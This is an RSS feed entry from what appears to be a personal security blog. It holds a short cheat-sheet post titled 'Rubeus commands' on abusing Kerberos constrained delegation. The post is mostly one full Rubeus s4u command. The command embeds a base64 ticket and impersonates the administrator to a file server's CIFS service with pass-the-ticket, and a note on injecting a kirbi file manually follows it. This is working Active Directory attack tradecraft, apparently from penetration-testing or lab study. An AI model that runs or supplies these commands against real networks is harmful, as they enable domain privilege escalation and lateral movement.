<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Rubeus :: Tag :: Zenu</title><link>https://eoniboogie.github.io/tags/rubeus/index.html</link><description/><generator>Hugo</generator><language>en-us</language><lastBuildDate>Tue, 08 Sep 2026 22:00:58 +0900</lastBuildDate><atom:link href="https://eoniboogie.github.io/tags/rubeus/index.xml" rel="self" type="application/rss+xml"/><item><title>Rubeus commands</title><link>https://eoniboogie.github.io/posts/rubeus/index.html</link><pubDate>Tue, 08 Sep 2026 22:00:58 +0900</pubDate><guid>https://eoniboogie.github.io/posts/rubeus/index.html</guid><description>Constrained delegation For example, delegate to mssqlsvc/sql.domain.com:1433 execute a command in the machine which has constrained delegation (in this example LON-WS-1$) impersonate a real user userAccountControl: 16781312 sAMAccountName: LON-WS-1$ msDS-AllowedToDelegateTo: cifs/lon-fs-1.contoso.com, cifs/lon-fs-1 C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /ticket: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 /impersonateuser:administrator /msdsspn:cifs/lon-fs-1 /nowrap /ptt without /ptt manually create a kirbi file and inject.</description></item></channel></rss>